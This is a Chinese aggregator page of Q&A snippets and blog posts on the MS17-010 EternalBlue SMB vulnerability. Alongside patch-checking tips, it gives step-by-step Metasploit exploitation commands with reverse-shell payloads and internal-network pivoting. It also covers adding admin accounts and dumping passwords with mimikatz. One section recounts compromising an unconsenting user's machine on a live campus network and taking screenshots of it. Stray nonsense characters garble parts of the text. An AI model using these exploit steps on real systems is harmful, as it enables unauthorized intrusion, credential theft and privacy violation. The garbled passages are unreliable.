① ms17010漏洞在17年发现吗
ms17010漏洞是在17年发现的。ms17010漏洞即永恒之蓝，是指2017年4月渣团让14日晚，黑客团体Shadow Brokers（影子经纪人）公布的一大批网络攻击工具，其中包含永恒之蓝工具。永恒之蓝利用Windows系统的SMB漏洞可以获取系统最高或侍权限如局。永恒之蓝漏洞是方程式组织在其漏洞利用框架中一个针对SMB服务进行攻击的漏洞，该漏洞导致攻击者在目标系统上可以执行任意代码。
② ms17010漏洞利用msf | 2019-03-27 ms070-
0x01 实验环境 攻孙郑击机：kali linux ip:10.10.10.131 目标机：windows 2008 R2 ip:10.10.10.132 0x02 配置exploit msf > use exploit/windows/smb/ms17_010_eternalblue msf exploit(ms17_010_eternalblue) > set rhost 10.10.10.132 rhost => 10.10.10.132 查看选项 msf exploit(ms17_010_eternalblue) >世橘 show options 设置目标机的IP，其他选项默搜凯团认就可以； 注意：选项中说明了此exploit对应的目标系统，所以并不是具有该漏洞的系统都能利用此exploit； 0x03 配置payload payload只需要配置监听返回会话的IP； msf exploit(ms17_010_eternalblue) > set payload windows/x64/meterpreter/reverse_tcp payload => windows/x64/meterpreter/reverse_tcp msf exploit(ms17_010_eternalblue) > set lhost 10.10.10.131 lhost => 10.10.10.131 0x04 开始攻击 警告：攻击过程可能导致目标系统宕机重启，谨慎操作！ msf exploit(ms17_010_eternalblue) > exploit 成功获得session。 shell 进入主机操作
③ MS17010补丁不知道选哪个
可以来点击开始菜单，控制面自板，卸载程序，显示更新补丁。不同版本可以搜索补丁winxp特别补丁KB4012598win2003特别补丁KB4012598win2008R2补丁 KB4012212、KB4012215win7补丁 KB4012212、KB4012215
④ ms17010漏洞利用windows什么服务
SMB服务。在微软的MS17-010中被修复是在Windows的SMB服务处理SMBv1请求时发生的漏洞，这个漏洞导致攻击者在目标系统上可以执行任意代码。Windows操作系统是其中的佼佼者，也是美国微软公司推出的一款操作系统。该系统从1985年诞生到现在，经过多年的发展完善，相对比较成熟稳定，是当前个人计算机的主流操作系统。
⑤ MSF利用ms17_010实验
该漏洞具有非常大的危害性，这个漏洞导致攻击者在目虚巧标系统上可以执行任意代，包括格式化电脑删除重要的内容。 当然漏洞非常的古老了，防范只需要打个补丁，再不济关闭445端口。 首先打开终端输入 curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && chmod 755 msfinstall && ./msfinstall 安装成功就能指令msfconsole来使用了 MSF功能不止汪首有利用ms17010，所以我们要选择对应的模块，其中利用到 auxiliary/scanner/smb/smb_ms17_010扫描工具模块 exploit/windows/smb/ms17_010_eternalblue利用工具模块 由于我实现环境是在校园网环境中，所以也就对校园网进行网段的扫描，我进入是我们的校园无线网络，连接不需要获得认证上网功能就可以实现漏洞攻击。 首先是查看自己IP 再利用扫描工具来对网段任何的B段进行扫描 扫出结果10.120.65.230IP存在漏洞风险，使用工具进行攻击差陵键 其中rhost为目标主机ip，lhost为自身监听ip 显示攻击成功了，这个时候，已经可以对被攻击者为所欲为了 打中后可以输入help来查看能执行的操作 screenshot来进行截图屏幕 发现在打游戏，偷偷的不要打扰到别人哦，上传一个txt提示他存在漏洞需要修复打补丁了呢，实验成功，点到为止哦。
⑥ 内网渗透之ms17-010
在内网渗透时，通常挂上代理后。在内网首先会打啵ms17-010。在实战中，使用msf的ms17-010模块，数次没有反弹成功。基于此，到底如何成功利用ms17-010
在msf成功接收session之后，添加路由
然后使用ms17-010相关的模块进行探测是否存在该漏洞。
尝试利用
LHOST配置为公网IP
可以看到success。漏洞是可以利用的，但始终没有session。不知道什么原因。 参考资料： 利用公网Msf+MS17010跨网段攻击内网 笔者在本地搭建环境，也是同样的结果。尝试更改payload为
bind_tcp攻击者去连接，容易被防火墙和杀毒发现 可以成功生成session，但并不稳定，且在run的过程中非常容易导致本来的session died
在实际使用msf的ms17_010_eternalblue模块时，笔者观察到有几个弊端。 1.session 很容易died 2.ms17_010_eternalblue模块利用起来非常耗时 3.无法利用成功 有大佬推荐使用原始的fb.py。但配置起来感觉麻烦一些。 所以。笔者从i春秋上找到一个轻便的方程式漏洞利用工具。 参考资料： 萌新初试MS17-010方程式漏洞 工具使用起来很简单。只需要msfvenom生成一个x64或x86的dll文件，替换该工具下的x64.dll或x86.dll 。再依次点击Eternalblue、Doublepulsar 的Attack即可。在Attack的时候，调用x64.dll动态链接库，反弹到公网IP。原理和fb.py一样。
笔者通过ew代理进内网后，在跳板机上上传了方程式漏洞利用工具、网安永恒之蓝检测工具。两者结合，威力巨大。成功利用ms17-010
对于windows server 2008 ，msfvenom生成x64.dll文件
msf配置
将该x64.dll替换到方程式利用工具下面。 只需要更换目标的IP，就可以获取session。
对于windows server 2003 ，msfvenom生成x86.dll文件
msf配置
进一步利用的一些命令
实际测试发现这种session非常稳定。不会轻易go die
实际测试server 2003的ms17-010时，有时候多次执行后msf就接收不到session，而且ms17-010利用时，脆弱的server 2003非常容易蓝屏。 所以笔者选择一种稳定可靠一些的办法。 先通过ms17_010_commend模块执行系统命令添加用户至管理员。再指定SMBPass和SMBUser来建立windows可访问命名管道[accessible named pipe]
参考资料 Metasploit 「永恒之蓝」两种模块的利弊
system的权限可以直接激活guest用户添加管理员组。
注意：使用ms17_010_psexec需要指定管理员的用户名、密码，否则没有session
同样的操作，载入mimikatz，读取管理员密码。
⑦ 如何查看ms17010 是否已安装补丁
1、在电脑上按“windows键”+R快速打开“运行”，输入“winver”。
⑧ fscan默认扫描端口
快捷、笑棚简单的安全漏洞扫描工具fscan https://github.com/shadow1ng/fscan fscan是一款用go语言编写的开源工具，一款内网综合扫描工具，方便一键自动化、全方位销升衫漏扫扫描。支持主机存活探测、端口扫描、常见服务的爆破、ms17010、redis 批量写公亏腔钥、计划任务反弹 shell、读取 win 网卡信息、web 指纹识别、web 漏洞扫描、netbios 探测、域控识别等功能主要功能1.信息搜集:存活探测(icmp)端口扫描2.爆破功能:各类服务爆破(ssh、smb等)数据库密码爆破(mysql、mssql、redis、psql等)3.系统信息、漏洞扫描:netbios探测、域控识别获取目标网卡信息高危漏洞扫描(ms17010等)4.Web探测功能:webtitle探测web指纹识别(常见cms、oa框架等)web漏洞扫描(weblogic、st2等,支持xray的poc)5.漏洞利用:redis写公钥或写计划任务ssh命令执行
⑨ 如何看电脑有没有ms17010
上微软官网搜索MS17-010漏洞的KB代码，不同的Windows系统对应的KB代码是不同的。然后点击控制面回板答-程序与安全-卸载程序，然后点击右边的“查看已安装的更新”，在右上角的搜索框内输入那个KB代码之后，如果有的话会显示出来，没有的话请去安装。
⑩ ms17010漏洞的简单利用
（第一次在发表文章，没啥经验，分享一些学习经验。大佬们多多包涵，也希望大家能够指出我的错误。） 靶机：windows7 x64 IP：192.168.1.5 攻击机：Kali Rolling (2019.3) x64 IP：192.168.1.3 两台主机在同一网段内；win7关闭防火墙并且开启445端口。 1、使用ipconfig/ifconfig分别查看win7和kali的ip。 2、打开msf工具 每次开启都会有不同的界面 3、使用search命令搜索ms17_010 4、选择模块和设置条件 使用use来选择第三个模块，可以直接 use 2，也可以打全 然后用set来设置靶机IP set rhost 192.168.1.5 设置本机IP set lhost 192.168.1.3 设置监听端口 set lport 8888 不设置则默认4444端口 设置payload set payload windows/x64/meterpreter/reverse_tcp 还有另外一个payload能用于本实验，具体可以 show payloads 查看 最后，可以使用show options检查所有信息 5、开始渗透 run 稍等片刻 看到win则成功创建会话 6、成功之后，可以开启Windows7的摄像头，截图等等 具体可以用help查看1、关闭445端口 2、打开防火墙，安装安全软件 3、安装对应补丁，这里就不放链接了 关闭445端口的方法： 1）打开控制面板—-Windows防火墙—-高级设置2）点击新建规则，设置端口号的规则并且命名（如图）msf工具虽然强大，但只能用于已知的并且已提交模块的漏洞。要理解漏洞原理，理解如何使用漏洞，甚至自己挖洞才能做到真正的去攻击。而不是简单的使用工具use和set。
